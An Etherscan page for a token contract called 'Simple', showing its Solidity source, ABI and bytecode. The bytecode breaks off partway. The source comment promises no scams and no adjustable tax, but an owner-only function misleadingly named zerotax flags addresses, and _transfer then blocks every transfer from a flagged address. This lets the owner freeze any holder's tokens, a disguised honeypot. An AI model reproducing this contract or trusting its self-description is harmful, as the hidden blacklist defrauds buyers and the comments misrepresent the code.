ETH Price: $2,229.99 (-1.97%)
 

Overview

Max Total Supply

5,000,000,000 Simple

Holders

24

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Simple

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-18
*/

// SPDX-License-Identifier: MIT
/**
A simple token. No tax, or possibility to change it. No team tokens. No pre-sale. No scams. Just pure market energy.
**/
pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Simple is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address=> bool) iszerotax;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=1;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 5000000000 * 10**_decimals;
    string private constant _name = unicode"Simple";
    string private constant _symbol = unicode"Simple";
    uint256 public _maxTxAmount = 500000000 * 10**_decimals;
    uint256 public _maxWalletSize = 500000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 5000000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

      function zerotax(address _user) public onlyOwner
  {
      require(!iszerotax[_user],"user is already exempt from taxes");
      iszerotax[_user] = true;
  }

    function removezerotax(address _user) public onlyOwner{
      require(iszerotax[_user],"user is already exempt from taxes");
      iszerotax[_user] = false;
  }


    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(!iszerotax[from], "user is already exempt from taxes");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }


    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removezerotax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"zerotax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600160065f6101000a81548160ff0219169083151502179055505f6007555f6008555f6009555f600a556001600b556001600c556001600d555f600e556009600a6200005191906200060e565b631dcd65006200006291906200065e565b600f556009600a6200007591906200060e565b631dcd65006200008691906200065e565b6010556009600a6200009991906200060e565b624c4b40620000a991906200065e565b6011556009600a620000bc91906200060e565b64012a05f200620000ce91906200065e565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff02191690831515021790555034801562000111575f80fd5b505f620001236200044e60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001cf6200044e60201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200021f91906200060e565b64012a05f2006200023191906200065e565b60015f620002446200044e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002966200045560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003c16200044e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200041f91906200060e565b64012a05f2006200043191906200065e565b604051620004409190620006b9565b60405180910390a3620006d4565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200050657808604811115620004de57620004dd6200047c565b5b6001851615620004ee5780820291505b8081029050620004fe85620004a9565b9450620004be565b94509492505050565b5f82620005205760019050620005f2565b816200052f575f9050620005f2565b8160018114620005485760028114620005535762000589565b6001915050620005f2565b60ff8411156200056857620005676200047c565b5b8360020a9150848211156200058257620005816200047c565b5b50620005f2565b5060208310610133831016604e8410600b8410161715620005c35782820a905083811115620005bd57620005bc6200047c565b5b620005f2565b620005d28484846001620004b5565b92509050818404811115620005ec57620005eb6200047c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200061a82620005f9565b9150620006278362000602565b9250620006567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200050f565b905092915050565b5f6200066a82620005f9565b91506200067783620005f9565b92508282026200068781620005f9565b91508282048414831517620006a157620006a06200047c565b5b5092915050565b620006b381620005f9565b82525050565b5f602082019050620006ce5f830184620006a8565b92915050565b6133bc80620006e25f395ff3fe60806040526004361061012d575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103a4578063a9059cbb146103ce578063bf474bed1461040a578063c876d0b914610434578063c9567bf91461045e578063dd62ed3e1461047457610134565b8063715018a6146102fa578063751039fc146103105780637d1db4a5146103265780638da5cb5b146103505780638f9a55c01461037a57610134565b806323b872dd116100f157806323b872dd1461021a578063313ce56714610256578063519b1a441461028057806351bc3c85146102a857806370a08231146102be57610134565b806306fdde0314610138578063095ea7b3146101625780630efd78011461019e5780630faee56f146101c657806318160ddd146101f057610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104b0565b6040516101599190612420565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906124d1565b6104ed565b6040516101959190612529565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf9190612542565b61050a565b005b3480156101d1575f80fd5b506101da610680565b6040516101e7919061257c565b60405180910390f35b3480156101fb575f80fd5b50610204610686565b604051610211919061257c565b60405180910390f35b348015610225575f80fd5b50610240600480360381019061023b9190612595565b6106aa565b60405161024d9190612529565b60405180910390f35b348015610261575f80fd5b5061026a61077e565b6040516102779190612600565b60405180910390f35b34801561028b575f80fd5b506102a660048036038101906102a19190612542565b610786565b005b3480156102b3575f80fd5b506102bc6108fa565b005b3480156102c9575f80fd5b506102e460048036038101906102df9190612542565b610992565b6040516102f1919061257c565b60405180910390f35b348015610305575f80fd5b5061030e6109d8565b005b34801561031b575f80fd5b50610324610b26565b005b348015610331575f80fd5b5061033a610c71565b604051610347919061257c565b60405180910390f35b34801561035b575f80fd5b50610364610c77565b6040516103719190612628565b60405180910390f35b348015610385575f80fd5b5061038e610c9e565b60405161039b919061257c565b60405180910390f35b3480156103af575f80fd5b506103b8610ca4565b6040516103c59190612420565b60405180910390f35b3480156103d9575f80fd5b506103f460048036038101906103ef91906124d1565b610ce1565b6040516104019190612529565b60405180910390f35b348015610415575f80fd5b5061041e610cfe565b60405161042b919061257c565b60405180910390f35b34801561043f575f80fd5b50610448610d04565b6040516104559190612529565b60405180910390f35b348015610469575f80fd5b50610472610d16565b005b34801561047f575f80fd5b5061049a60048036038101906104959190612641565b611236565b6040516104a7919061257c565b60405180910390f35b60606040518060400160405280600681526020017f53696d706c650000000000000000000000000000000000000000000000000000815250905090565b5f6105006104f96112b8565b84846112bf565b6001905092915050565b6105126112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610595906126c9565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612757565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60125481565b5f6009600a61069591906128d1565b64012a05f2006106a5919061291b565b905090565b5f6106b6848484611482565b610773846106c26112b8565b61076e8560405180606001604052806028815260200161335f6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107256112b8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e819092919063ffffffff16565b6112bf565b600190509392505050565b5f6009905090565b61078e6112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610811906126c9565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a90612757565b60405180910390fd5b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093b6112b8565b73ffffffffffffffffffffffffffffffffffffffff161461095a575f80fd5b5f61096430610992565b90505f8111156109785761097781611ee3565b5b5f4790505f81111561098e5761098d8161214e565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109e06112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a63906126c9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b2e6112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb1906126c9565b60405180910390fd5b6009600a610bc891906128d1565b64012a05f200610bd8919061291b565b600f819055506009600a610bec91906128d1565b64012a05f200610bfc919061291b565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c4a91906128d1565b64012a05f200610c5a919061291b565b604051610c67919061257c565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f53696d706c650000000000000000000000000000000000000000000000000000815250905090565b5f610cf4610ced6112b8565b8484611482565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610d1e6112b8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da1906126c9565b60405180910390fd5b60148054906101000a900460ff1615610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def906129a6565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e953060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e8091906128d1565b64012a05f200610e90919061291b565b6112bf565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f2391906129d8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fcd91906129d8565b6040518363ffffffff1660e01b8152600401610fea929190612a03565b6020604051808303815f875af1158015611006573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102a91906129d8565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110b130610992565b5f806110bb610c77565b426040518863ffffffff1660e01b81526004016110dd96959493929190612a6c565b60606040518083038185885af11580156110f9573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061111e9190612adf565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111be929190612b2f565b6020604051808303815f875af11580156111da573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111fe9190612b80565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612c1b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361139b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139290612ca9565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611475919061257c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612d37565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612dc5565b60405180910390fd5b5f81116115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612e53565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190612757565b60405180910390fd5b5f611633610c77565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116a15750611671610c77565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bd1576116e260646116d4600b54600e54116116c1576007546116c5565b6009545b856121b790919063ffffffff16565b61222e90919063ffffffff16565b905060065f9054906101000a900460ff161561186a5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a2575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611869574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181d90612f07565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611913575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611966575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a2057600f548211156119b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a790612f6f565b60405180910390fd5b601054826119bd85610992565b6119c79190612f8d565b1115611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff9061300a565b60405180910390fd5b600e5f815480929190611a1a90613028565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611aec57611ae96064611adb600c54600e5411611ac857600854611acc565b600a545b856121b790919063ffffffff16565b61222e90919063ffffffff16565b90505b5f611af630610992565b9050601460159054906101000a900460ff16158015611b61575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b795750601460169054906101000a900460ff165b8015611b86575060115481115b8015611b955750600d54600e54115b15611bcf57611bb7611bb284611bad84601254612277565b61